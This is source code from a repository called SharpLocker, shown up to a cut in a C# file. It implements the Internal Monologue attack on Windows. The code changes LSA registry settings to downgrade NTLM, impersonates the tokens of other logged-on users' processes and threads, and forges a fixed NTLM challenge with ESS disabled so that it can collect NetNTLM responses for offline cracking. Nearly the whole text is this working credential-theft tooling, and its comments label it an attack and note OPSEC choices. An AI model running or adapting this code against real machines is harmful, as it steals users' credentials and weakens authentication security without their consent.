103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /SharpLocker/PasswordAudit/InternalMonoglogue/InternalMonologue.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Security.Principal; 3 | using System.Runtime.InteropServices; 4 | using System.Text; 5 | using Microsoft.Win32; 6 | using System.Collections.Generic; 7 | using System.Diagnostics; 8 | using System.Text.RegularExpressions; 9 | using InternalMonologue; 10 | 11 | namespace SharpLocker 12 | { 13 | public class InternalMonologue 14 | { 15 | public InternalMonologue() { } 16 | public InternalMonologue(bool impersonate = true, bool threads = false, bool downgrade = true, bool restore = true, string challenge = "1122334455667788", bool verbose = false) 17 | { 18 | this.impersonate = impersonate; 19 | this.threads = threads; 20 | this.downgrade = downgrade; 21 | this.restore = restore; 22 | this.challenge = challenge; 23 | this.verbose = verbose; 24 | } 25 | 26 | bool impersonate = true, threads = false, downgrade = true, restore = true, verbose = false, isElevated = false; 27 | string challenge = "1122334455667788"; 28 | 29 | const int MAX_TOKEN_SIZE = 12288; 30 | 31 | struct TOKEN_USER 32 | { 33 | public SID_AND_ATTRIBUTES User; 34 | } 35 | 36 | [StructLayout(LayoutKind.Sequential)] 37 | struct SID_AND_ATTRIBUTES 38 | { 39 | public IntPtr Sid; 40 | public uint Attributes; 41 | } 42 | 43 | [StructLayout(LayoutKind.Sequential)] 44 | struct TOKEN_GROUPS 45 | { 46 | public int GroupCount; 47 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] 48 | public SID_AND_ATTRIBUTES[] Groups; 49 | }; 50 | 51 | [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)] 52 | static extern bool ConvertSidToStringSid(IntPtr pSID, out IntPtr ptrSid); 53 | 54 | [DllImport("kernel32.dll")] 55 | static extern IntPtr LocalFree(IntPtr hMem); 56 | 57 | [DllImport("secur32.dll", CharSet = CharSet.Auto)] 58 | static extern int AcquireCredentialsHandle( 59 | string pszPrincipal, 60 | string pszPackage, 61 | int fCredentialUse, 62 | IntPtr PAuthenticationID, 63 | IntPtr pAuthData, 64 | int pGetKeyFn, 65 | IntPtr pvGetKeyArgument, 66 | ref SECURITY_HANDLE phCredential, 67 | ref SECURITY_INTEGER ptsExpiry); 68 | 69 | [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)] 70 | static extern int InitializeSecurityContext( 71 | ref SECURITY_HANDLE phCredential, 72 | IntPtr phContext, 73 | string pszTargetName, 74 | int fContextReq, 75 | int Reserved1, 76 | int TargetDataRep, 77 | IntPtr pInput, 78 | int Reserved2, 79 | out SECURITY_HANDLE phNewContext, 80 | out SecBufferDesc pOutput, 81 | out uint pfContextAttr, 82 | out SECURITY_INTEGER ptsExpiry); 83 | 84 | [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)] 85 | static extern int InitializeSecurityContext( 86 | ref SECURITY_HANDLE phCredential, 87 | ref SECURITY_HANDLE phContext, 88 | string pszTargetName, 89 | int fContextReq, 90 | int Reserved1, 91 | int TargetDataRep, 92 | ref SecBufferDesc SecBufferDesc, 93 | int Reserved2, 94 | out SECURITY_HANDLE phNewContext, 95 | out SecBufferDesc pOutput, 96 | out uint pfContextAttr, 97 | out SECURITY_INTEGER ptsExpiry); 98 | 99 | [DllImport("secur32.dll", SetLastError = true)] 100 | static extern int AcceptSecurityContext(ref SECURITY_HANDLE phCredential, 101 | IntPtr phContext, 102 | ref SecBufferDesc pInput, 103 | uint fContextReq, 104 | uint TargetDataRep, 105 | out SECURITY_HANDLE phNewContext, 106 | out SecBufferDesc pOutput, 107 | out uint pfContextAttr, 108 | out SECURITY_INTEGER ptsTimeStamp); 109 | 110 | [DllImport("advapi32.dll", SetLastError = true)] 111 | private static extern bool OpenProcessToken( 112 | IntPtr ProcessHandle, 113 | int DesiredAccess, 114 | ref IntPtr TokenHandle); 115 | 116 | [DllImport("advapi32.dll", SetLastError = true)] 117 | private static extern bool OpenThreadToken( 118 | IntPtr ThreadHandle, 119 | int DesiredAccess, 120 | bool OpenAsSelf, 121 | ref IntPtr TokenHandle); 122 | 123 | [DllImport("advapi32.dll", SetLastError = true)] 124 | static extern bool GetTokenInformation( 125 | IntPtr TokenHandle, 126 | int TokenInformationClass, 127 | IntPtr TokenInformation, 128 | int TokenInformationLength, 129 | out int ReturnLength); 130 | 131 | [DllImport("advapi32.dll", SetLastError = true)] 132 | private static extern bool DuplicateTokenEx( 133 | IntPtr hExistingToken, 134 | int dwDesiredAccess, 135 | ref SECURITY_ATTRIBUTES lpThreadAttributes, 136 | int ImpersonationLevel, 137 | int dwTokenType, 138 | ref IntPtr phNewToken); 139 | 140 | [DllImport("kernel32.dll", SetLastError = true)] 141 | private static extern bool CloseHandle( 142 | IntPtr hObject); 143 | 144 | [DllImport("kernel32.dll", SetLastError = true)] 145 | static extern IntPtr OpenThread(int dwDesiredAccess, bool bInheritHandle, 146 | IntPtr dwThreadId); 147 | 148 | private void GetRegKey(string key, string name, out object result) 149 | { 150 | RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key); 151 | if (Lsa != null) 152 | { 153 | object value = Lsa.GetValue(name); 154 | if (value != null) 155 | { 156 | result = value; 157 | return; 158 | } 159 | } 160 | result = null; 161 | } 162 | 163 | private void SetRegKey(string key, string name, object value) 164 | { 165 | RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key, true); 166 | if (Lsa != null) 167 | { 168 | if (value == null) 169 | { 170 | Lsa.DeleteValue(name); 171 | } 172 | else 173 | { 174 | Lsa.SetValue(name, value); 175 | } 176 | } 177 | } 178 | 179 | private void ExtendedNTLMDowngrade(out object oldValue_LMCompatibilityLevel, out object oldValue_NtlmMinClientSec, out object oldValue_RestrictSendingNTLMTraffic) 180 | { 181 | GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", out oldValue_LMCompatibilityLevel); 182 | SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2); 183 | 184 | GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", out oldValue_NtlmMinClientSec); 185 | SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912); 186 | 187 | GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", out oldValue_RestrictSendingNTLMTraffic); 188 | SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0); 189 | } 190 | 191 | private void NTLMRestore(object oldValue_LMCompatibilityLevel, object oldValue_NtlmMinClientSec, object oldValue_RestrictSendingNTLMTraffic) 192 | { 193 | SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel); 194 | SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec); 195 | SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic); 196 | } 197 | 198 | //Retrieves the SID of a given token 199 | public string GetLogonId(IntPtr token) 200 | { 201 | string SID = null; 202 | try 203 | { 204 | StringBuilder sb = new StringBuilder(); 205 | int TokenInfLength = 1024; 206 | IntPtr TokenInformation = Marshal.AllocHGlobal(TokenInfLength); 207 | Boolean Result = GetTokenInformation(token, 1, TokenInformation, TokenInfLength, out TokenInfLength); 208 | if (Result) 209 | { 210 | TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); 211 | 212 | IntPtr pstr = IntPtr.Zero; 213 | Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr); 214 | SID = Marshal.PtrToStringAuto(pstr); 215 | LocalFree(pstr); 216 | } 217 | 218 | Marshal.FreeHGlobal(TokenInformation); 219 | 220 | return SID; 221 | } 222 | catch 223 | { 224 | CloseHandle(token); 225 | return null; 226 | } 227 | } 228 | 229 | public bool ValidateSID(string SID, bool verbose) 230 | { 231 | if (SID.IsNullOrWhiteSpace()) 232 | { 233 | return false; 234 | } 235 | 236 | if (authenticatedUsers.Contains(SID) == true) 237 | { 238 | //Check if the user has been handled previously 239 | return false; 240 | } 241 | if (SID == "S-1-5-18" || SID == "S-1-5-19" || SID == "S-1-5-20" || SID == "S-1-5-96-0-0" || SID == "S-1-5-96-0-1" || SID == "S-1-5-90-0-1") 242 | { 243 | //do not touch processes owned by system, local service, network service, font driver host, or window manager 244 | return false; 245 | } 246 | return true; //Check if the SID is OPSEC safe 247 | } 248 | 249 | public InternalMonologueConsole HandleProcess(Process process, string challenge, bool verbose) 250 | { 251 | var console = new InternalMonologueConsole(); 252 | try 253 | { 254 | var token = IntPtr.Zero; 255 | var dupToken = IntPtr.Zero; 256 | string SID = null; 257 | 258 | if (OpenProcessToken(process.Handle, 0x0008, ref token)) 259 | { 260 | //Get the SID of the token 261 | SID = GetLogonId(token); 262 | CloseHandle(token); 263 | if (!ValidateSID(SID, verbose)) 264 | { 265 | return null; 266 | } 267 | 268 | if (verbose) console.AddConsole(string.Format("{0} {1}\n", SID, process.ProcessName)); 269 | if (OpenProcessToken(process.Handle, 0x0002, ref token)) 270 | { 271 | var sa = new SECURITY_ATTRIBUTES(); 272 | sa.nLength = Marshal.SizeOf(sa); 273 | 274 | DuplicateTokenEx( 275 | token, 276 | 0x0002 | 0x0008, 277 | ref sa, 278 | (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, 279 | (int)1, 280 | ref dupToken); 281 | 282 | CloseHandle(token); 283 | 284 | try 285 | { 286 | using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(dupToken)) 287 | { 288 | if (verbose == true) console.AddConsole(string.Format("Impersonated user {0}\n", WindowsIdentity.GetCurrent().Name)); 289 | var result = InternalMonologueForCurrentUser(challenge, true); 290 | //Ensure it is a valid response and not blank 291 | if (!result.Resp1.IsNullOrWhiteSpace()) 292 | { 293 | console.AddResponse(result); 294 | console.AddConsole(string.Format("{0}\n", result.ToString())); 295 | authenticatedUsers.Add(SID); 296 | } 297 | else if (verbose == true) { console.AddConsole(string.Format("Got blank response for user {0}\n", WindowsIdentity.GetCurrent().Name)); } 298 | } 299 | } 300 | catch 301 | { /*Does not need to do anything if it fails*/ } 302 | finally 303 | { 304 | CloseHandle(dupToken); 305 | } 306 | } 307 | } 308 | } 309 | catch (Exception) 310 | { /*Does not need to do anything if it fails*/ } 311 | return console; 312 | } 313 | 314 | public InternalMonologueConsole HandleThread(ProcessThread thread, string challenge, bool verbose) 315 | { 316 | var console = new InternalMonologueConsole(); 317 | try 318 | { 319 | var token = IntPtr.Zero; 320 | string SID = null; 321 | 322 | //Try to get thread handle 323 | var handle = OpenThread(0x0040, true, new IntPtr(thread.Id)); 324 | 325 | //If failed, return 326 | if (handle == IntPtr.Zero) 327 | { 328 | return null; 329 | } 330 | 331 | if (OpenThreadToken(handle, 0x0008, true, ref token)) 332 | { 333 | //Get the SID of the token 334 | SID = GetLogonId(token); 335 | CloseHandle(token); 336 | if (!ValidateSID(SID, verbose)) 337 | { 338 | return null; 339 | } 340 | 341 | if (OpenThreadToken(handle, 0x0002, true, ref token)) 342 | { 343 | var sa = new SECURITY_ATTRIBUTES(); 344 | sa.nLength = Marshal.SizeOf(sa); 345 | var dupToken = IntPtr.Zero; 346 | 347 | DuplicateTokenEx( 348 | token, 349 | 0x0002 | 0x0008, 350 | ref sa, 351 | (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, 352 | (int)1, 353 | ref dupToken); 354 | 355 | CloseHandle(token); 356 | 357 | try 358 | { 359 | using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(dupToken)) 360 | { 361 | if (verbose == true) console.AddConsole(string.Format("Impersonated user {0}\n", WindowsIdentity.GetCurrent().Name)); 362 | var result = InternalMonologueForCurrentUser(challenge, true); 363 | //Ensure it is a valid response and not blank 364 | if (!result.Resp1.IsNullOrWhiteSpace()) 365 | { 366 | console.AddResponse(result); //rich data object for consumer classes 367 | console.AddConsole(string.Format("{0}\n", result)); 368 | authenticatedUsers.Add(SID); 369 | } 370 | else if (verbose == true) { console.AddConsole(string.Format("Got blank response for user {0}\n", WindowsIdentity.GetCurrent().Name)); } 371 | } 372 | } 373 | catch 374 | { /*Does not need to do anything if it fails*/ } 375 | finally 376 | { 377 | CloseHandle(dupToken); 378 | } 379 | } 380 | } 381 | } 382 | catch (Exception) 383 | { /*Does not need to do anything if it fails*/ } 384 | return console; 385 | } 386 | 387 | //Maintains a list of handled users 388 | private List authenticatedUsers = new List(); 389 | 390 | 391 | public InternalMonologueConsole Go() 392 | { 393 | var console = new InternalMonologueConsole(); 394 | //Extended NetNTLM Downgrade and impersonation can only work if the current process is elevated 395 | isElevated = IsElevated(); 396 | if (isElevated) 397 | { 398 | if (verbose == true) console.AddConsole("Running elevated\n"); 399 | object oldValue_LMCompatibilityLevel = null; 400 | object oldValue_NtlmMinClientSec = null; 401 | object oldValue_RestrictSendingNTLMTraffic = null; 402 | if (downgrade == true) 403 | { 404 | if (verbose == true) console.AddConsole("Performing NTLM Downgrade\n"); 405 | //Perform an Extended NetNTLM Downgrade and store the current values to restore them later 406 | ExtendedNTLMDowngrade(out oldValue_LMCompatibilityLevel, out oldValue_NtlmMinClientSec, out oldValue_RestrictSendingNTLMTraffic); 407 | } 408 | 409 | if (impersonate == true) 410 | { 411 | if (verbose == true) console.AddConsole("Starting impersonation\n"); 412 | foreach (Process process in Process.GetProcesses()) 413 | { 414 | var response = HandleProcess(process, challenge, verbose); 415 | if (response != null) 416 | { 417 | console.AddConsole(string.Format("{0}\n", response.Output())); 418 | console.AddResponses(response.Responses); 419 | } 420 | if (!threads) 421 | { 422 | continue; 423 | } 424 | foreach (ProcessThread thread in process.Threads) 425 | { 426 | response = HandleThread(thread, challenge, verbose); 427 | if (response == null) 428 | { 429 | continue; 430 | } 431 | console.AddConsole(string.Format("{0}\n", response.Output())); 432 | console.AddResponses(response.Responses); 433 | } 434 | } 435 | } 436 | else 437 | { 438 | if (verbose == true) console.AddConsole("Performing attack on current user only (no impersonation)\n"); 439 | var response = InternalMonologueForCurrentUser(challenge, true); 440 | console.AddResponse(response); 441 | console.AddConsole(string.Format("{0}\n", response.ToString())); 442 | } 443 | 444 | if (downgrade == true && restore == true) 445 | { 446 | if (verbose == true) console.AddConsole("Restoring NTLM values\n"); 447 | //Undo changes made in the Extended NetNTLM Downgrade 448 | NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic); 449 | } 450 | } 451 | else 452 | { 453 | //If the process is not elevated, skip downgrade and impersonation and only perform an Internal Monologue Attack for the current user 454 | if (verbose == true) console.AddConsole("Not elevated. Performing attack with current NTLM settings on current user\n"); 455 | var response = InternalMonologueForCurrentUser(challenge, true); 456 | console.AddResponse(response); 457 | console.AddConsole(string.Format("{0}\n", response.ToString())); 458 | } 459 | #if DEBUG 460 | //Console.WriteLine(console.Output()); 461 | #endif 462 | return console; 463 | } 464 | 465 | //This function performs an Internal Monologue Attack in the context of the current user and returns the NetNTLM response for the challenge 0x1122334455667788 466 | private InternalMonologueResponse InternalMonologueForCurrentUser(string challenge, bool DisableESS) 467 | { 468 | SecBufferDesc ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE); 469 | SecBufferDesc ServerToken = new SecBufferDesc(MAX_TOKEN_SIZE); 470 | 471 | SECURITY_HANDLE _hCred; 472 | _hCred.LowPart = _hCred.HighPart = IntPtr.Zero; 473 | SECURITY_INTEGER ClientLifeTime; 474 | ClientLifeTime.LowPart = 0; 475 | ClientLifeTime.HighPart = 0; 476 | SECURITY_HANDLE _hClientContext; 477 | SECURITY_HANDLE _hServerContext; 478 | uint ContextAttributes = 0; 479 | 480 | // Acquire credentials handle for current user 481 | AcquireCredentialsHandle( 482 | WindowsIdentity.GetCurrent().Name, 483 | "NTLM", 484 | 3, 485 | IntPtr.Zero, 486 | IntPtr.Zero, 487 | 0, 488 | IntPtr.Zero, 489 | ref _hCred, 490 | ref ClientLifeTime 491 | ); 492 | 493 | // Get a type-1 message from NTLM SSP 494 | InitializeSecurityContext( 495 | ref _hCred, 496 | IntPtr.Zero, 497 | WindowsIdentity.GetCurrent().Name, 498 | 0x00000800, 499 | 0, 500 | 0x10, 501 | IntPtr.Zero, 502 | 0, 503 | out _hClientContext, 504 | out ClientToken, 505 | out ContextAttributes, 506 | out ClientLifeTime 507 | ); 508 | 509 | // Get a type-2 message from NTLM SSP (Server) 510 | AcceptSecurityContext( 511 | ref _hCred, 512 | IntPtr.Zero, 513 | ref ClientToken, 514 | 0x00000800, 515 | 0x10, 516 | out _hServerContext, 517 | out ServerToken, 518 | out ContextAttributes, 519 | out ClientLifeTime 520 | ); 521 | 522 | // Tamper with the CHALLENGE message 523 | byte[] serverMessage = ServerToken.GetSecBufferByteArray(); 524 | byte[] challengeBytes = StringToByteArray(challenge); 525 | if (DisableESS) 526 | { 527 | serverMessage[22] = (byte)(serverMessage[22] & 0xF7); 528 | } 529 | //Replace Challenge 530 | Array.Copy(challengeBytes, 0, serverMessage, 24, 8); 531 | //Reset reserved bytes to avoid local authentication 532 | Array.Copy(new byte[16], 0, serverMessage, 32, 16); 533 | 534 | ServerToken = new SecBufferDesc(serverMessage); 535 | 536 | ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE); 537 | int resCode = InitializeSecurityContext( 538 | ref _hCred, 539 | ref _hClientContext, 540 | WindowsIdentity.GetCurrent().Name, 541 | 0x00000800, 542 | 0, 543 | 0x10, 544 | ref ServerToken, 545 | 0, 546 | out _hClientContext, 547 | out ClientToken, 548 | out ContextAttributes, 549 | out ClientLifeTime 550 | ); 551 | 552 | //If failed, retry without disabling ESS 553 | if (resCode != 0 && DisableESS) 554 | { 555 | ClientToken.Dispose(); 556 | ServerToken.Dispose(); 557 | 558 | return InternalMonologueForCurrentUser(challenge, false); 559 | } 560 | 561 | byte[] result = ClientToken.GetSecBufferByteArray(); 562 | 563 | ClientToken.Dispose(); 564 | ServerToken.Dispose(); 565 | 566 | //Extract the NetNTLM response from a type-3 message and return it 567 | return ParseNTResponse(result, challenge); 568 | } 569 | 570 | //This function parses the NetNTLM response from a type-3 message 571 | private InternalMonologueResponse ParseNTResponse(byte[] message, string challenge) 572 | { 573 | ushort lm_resp_len = BitConverter.ToUInt16(message, 12); 574 | uint lm_resp_off = BitConverter.ToUInt32(message, 16); 575 | ushort nt_resp_len = BitConverter.ToUInt16(message, 20); 576 | uint nt_resp_off = BitConverter.ToUInt32(message, 24); 577 | ushort domain_len = BitConverter.ToUInt16(message, 28); 578 | uint domain_off = BitConverter.ToUInt32(message, 32); 579 | ushort user_len = BitConverter.ToUInt16(message, 36); 580 | uint user_off = BitConverter.ToUInt32(message, 40); 581 | byte[] lm_resp = new byte[lm_resp_len]; 582 | byte[] nt_resp = new byte[nt_resp_len]; 583 | byte[] domain = new byte[domain_len]; 584 | byte[] user = new byte[user_len]; 585 | Array.Copy(message, lm_resp_off, lm_resp, 0, lm_resp_len); 586 | Array.Copy(message, nt_resp_off, nt_resp, 0, nt_resp_len); 587 | Array.Copy(message, domain_off, domain, 0, domain_len); 588 | Array.Copy(message, user_off, user, 0, user_len); 589 | 590 | var result = new InternalMonologueResponse(); 591 | result.NtlmDowngrade = downgrade; 592 | result.FromElevated = isElevated; 593 | result.Challenge = challenge; 594 | result.ImpersonatedIdentity = WindowsIdentity.GetCurrent().Name; 595 | result.SID = WindowsIdentity.GetCurrent().User.ToString(); 596 | if (nt_resp_len == 24) 597 | { 598 | result.UserName = ConvertHex(ByteArrayToString(user)); 599 | result.Domain = ConvertHex(ByteArrayToString(domain)); 600 | result.Resp1 = ByteArrayToString(lm_resp); 601 | result.Resp2 = ByteArrayToString(nt_resp); 602 | // result = ConvertHex(ByteArrayToString(user)) + "::" + ConvertHex(ByteArrayToString(domain)) + ":" + ByteArrayToString(lm_resp) + ":" + ByteArrayToString(nt_resp) + ":" + challenge; 603 | } 604 | else if (nt_resp_len > 24) 605 | { 606 | result.UserName = ConvertHex(ByteArrayToString(user)); 607 | result.Domain = ConvertHex(ByteArrayToString(domain)); 608 | result.Resp1 = ByteArrayToString(nt_resp).Substring(0, 32); 609 | result.Resp2 = ByteArrayToString(nt_resp).Substring(32); 610 | //result = ConvertHex(ByteArrayToString(user)) + "::" + ConvertHex(ByteArrayToString(domain)) + ":" + challenge + ":" + ByteArrayToString(nt_resp).Substring(0, 32) + ":" + ByteArrayToString(nt_resp).Substring(32); 611 | } 612 | 613 | return result; 614 | } 615 | 616 | //The following function is taken from https://stackoverflow.com/questions/311165/how-do-you-convert-a-byte-array-to-a-hexadecimal-string-and-vice-versa 617 | private static string ByteArrayToString(byte[] ba) 618 | { 619 | StringBuilder hex = new StringBuilder(ba.Length * 2); 620 | foreach (byte b in ba) 621 | hex.AppendFormat("{0:x2}", b); 622 | return hex.ToString(); 623 | } 624 | 625 | //This function is taken from https://stackoverflow.com/questions/3600322/check-if-the-current-user-is-administrator 626 | private static bool IsElevated() 627 | { 628 | return (new WindowsPrincipal(WindowsIdentity.GetCurrent())).IsInRole(WindowsBuiltInRole.Administrator); 629 | } 630 | 631 | //This function is taken from https://stackoverflow.com/questions/321370/how-can-i-convert-a-hex-string-to-a-byte-array 632 | public static byte[] StringToByteArray(string hex) 633 | { 634 | if (hex.Length % 2 == 1) 635 | return null; 636 | 637 | byte[] arr = new byte[hex.Length >> 1]; 638 | 639 | for (int i = 0; i < hex.Length >> 1; ++i) 640 | { 641 | arr[i] = (byte)((GetHexVal(hex[i << 1]) << 4) + (GetHexVal(hex[(i << 1) + 1]))); 642 | } 643 | 644 | return arr; 645 | } 646 | 647 | //This function is taken from https://stackoverflow.com/questions/321370/how-can-i-convert-a-hex-string-to-a-byte-array 648 | public static int GetHexVal(char hex) 649 | { 650 | int val = (int)hex; 651 | return val - (val < 58 ? 48 : 55); 652 | } 653 | 654 | //This function is taken from https://stackoverflow.com/questions/5613279/c-sharp-hex-to-ascii 655 | public static string ConvertHex(String hexString) 656 | { 657 | string ascii = string.Empty; 658 | 659 | for (int i = 0; i < hexString.Length; i += 2) 660 | { 661 | String hs = string.Empty; 662 | 663 | hs = hexString.Substring(i, 2); 664 | if (hs == "00") 665 | continue; 666 | uint decval = System.Convert.ToUInt32(hs, 16); 667 | char character = System.Convert.ToChar(decval); 668 | ascii += character; 669 | 670 | } 671 | 672 | return ascii; 673 | } 674 | } 675 | 676 | struct SecBuffer : IDisposable 677 | { 678 | public int cbBuffer; 679 | public int BufferType; 680 | public IntPtr pvBuffer; 681 | 682 | public SecBuffer(int bufferSize) 683 | { 684 | cbBuffer = bufferSize; 685 | BufferType = 2; 686 | pvBuffer = Marshal.AllocHGlobal(bufferSize); 687 | } 688 | 689 | public SecBuffer(byte[] secBufferBytes) 690 | { 691 | cbBuffer = secBufferBytes.Length; 692 | BufferType = 2; 693 | pvBuffer = Marshal.AllocHGlobal(cbBuffer); 694 | Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); 695 | } 696 | 697 | public SecBuffer(byte[] secBufferBytes, int bufferType) 698 | { 699 | cbBuffer = secBufferBytes.Length; 700 | BufferType = (int)bufferType; 701 | pvBuffer = Marshal.AllocHGlobal(cbBuffer); 702 | Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); 703 | } 704 | 705 | public void Dispose() 706 | { 707 | if (pvBuffer != IntPtr.Zero) 708 | { 709 | Marshal.FreeHGlobal(pvBuffer); 710 | pvBuffer = IntPtr.Zero; 711 | } 712 | } 713 | } 714 | 715 | struct SecBufferDesc : IDisposable 716 | { 717 | public int ulVersion; 718 | public int cBuffers; 719 | public IntPtr pBuffers; 720 | 721 | public SecBufferDesc(int bufferSize) 722 | { 723 | ulVersion = 0; 724 | cBuffers = 1; 725 | SecBuffer ThisSecBuffer = new SecBuffer(bufferSize); 726 | pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); 727 | Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); 728 | } 729 | 730 | public SecBufferDesc(byte[] secBufferBytes) 731 | { 732 | ulVersion = 0; 733 | cBuffers = 1; 734 | SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytes); 735 | pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); 736 | Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); 737 | } 738 | 739 | public void Dispose() 740 | { 741 | if (pBuffers != IntPtr.Zero) 742 | { 743 | if (cBuffers == 1) 744 | { 745 | SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); 746 | ThisSecBuffer.Dispose(); 747 | } 748 | else 749 | { 750 | for (int Index = 0; Index < cBuffers; Index++) 751 | { 752 | int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); 753 | IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); 754 | Marshal.FreeHGlobal(SecBufferpvBuffer); 755 | } 756 | } 757 | 758 | Marshal.FreeHGlobal(pBuffers); 759 | pBuffers = IntPtr.Zero; 760 | } 761 | } 762 | 763 | public byte[] GetSecBufferByteArray() 764 | { 765 | byte[] Buffer = null; 766 | 767 | if (pBuffers == IntPtr.Zero) 768 | { 769 | throw new InvalidOperationException("Object has already been disposed!!!"); 770 | } 771 | 772 | if (cBuffers == 1) 773 | { 774 | SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); 775 | 776 | if (ThisSecBuffer.cbBuffer > 0) 777 | { 778 | Buffer = new byte[ThisSecBuffer.cbBuffer]; 779 | Marshal.Copy(ThisSecBuffer.pvBuffer, Buffer, 0, ThisSecBuffer.cbBuffer); 780 | } 781 | } 782 | else 783 | { 784 | int BytesToAllocate = 0; 785 | 786 | for (int Index = 0; Index < cBuffers; Index++) 787 | { 788 | //calculate the total number of bytes we need to copy... 789 | int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); 790 | BytesToAllocate += Marshal.ReadInt32(pBuffers, CurrentOffset); 791 | } 792 | 793 | Buffer = new byte[BytesToAllocate]; 794 | 795 | for (int Index = 0, BufferIndex = 0; Index < cBuffers; Index++) 796 | { 797 | //Now iterate over the individual buffers and put them together into a byte array... 798 | int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); 799 | int BytesToCopy = Marshal.ReadInt32(pBuffers, CurrentOffset); 800 | IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); 801 | Marshal.Copy(SecBufferpvBuffer, Buffer, BufferIndex, BytesToCopy); 802 | BufferIndex += BytesToCopy; 803 | } 804 | } 805 | 806 | return (Buffer); 807 | } 808 | } 809 | 810 | struct SECURITY_INTEGER 811 | { 812 | public uint LowPart; 813 | public int HighPart; 814 | }; 815 | 816 | struct SECURITY_HANDLE 817 | { 818 | public IntPtr LowPart; 819 | public IntPtr HighPart; 820 | 821 | }; 822 | 823 | struct SECURITY_ATTRIBUTES 824 | { 825 | public int nLength; 826 | public IntPtr lpSecurityDescriptor; 827 | public bool bInheritHandle; 828 | } 829 | 830 | enum SECURITY_IMPERSONATION_LEVEL 831 | { 832 | SecurityAnonymous, 833 | SecurityIdentification, 834 | SecurityImpersonation, 835 | SecurityDelegation 836 | } 837 | } 838 | -------------------------------------------------------------------------------- /SharpLocker/PasswordAudit/InternalMonoglogue/InternalMonologueConsole.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace InternalMonologue 6 | { 7 | public class InternalMonologueConsole 8 | { 9 | private string output = ""; 10 | public List Responses = new List(); 11 | public void AddResponse(InternalMonologueResponse response) 12 | { 13 | if (response.Resp1.IsNullOrWhiteSpace()) 14 | { 15 | return; 16 | } 17 | Responses.Add(response); 18 | } 19 | public void AddResponses(List responses) 20 | { 21 | foreach (var response in responses) 22 | { 23 | AddResponse(response); 24 | } 25 | } 26 | public void AddConsole(string s) 27 | { 28 | if (s.IsNullOrWhiteSpace()) 29 | { 30 | return; 31 | } 32 | output += s; 33 | } 34 | public string Output() 35 | { 36 | return output; 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /SharpLocker/PasswordAudit/InternalMonoglogue/InternalMonologueResponse.cs: -------------------------------------------------------------------------------- 1 | namespace InternalMonologue 2 | { 3 | public class InternalMonologueResponse 4 | { 5 | public bool FromElevated = false; 6 | public bool NtlmDowngrade = false; 7 | public string ProcessName = ""; 8 | public int PID = 0; 9 | public string SID = ""; 10 | public string ImpersonatedIdentity = ""; 11 | public string UserName = ""; 12 | public string Domain = ""; 13 | public string Resp1 = ""; //LM if NtlmDowngrade = true 14 | public string Resp2 = ""; 15 | public string Challenge = ""; 16 | 17 | public override string ToString() 18 | { 19 | if (FromElevated) 20 | { 21 | return 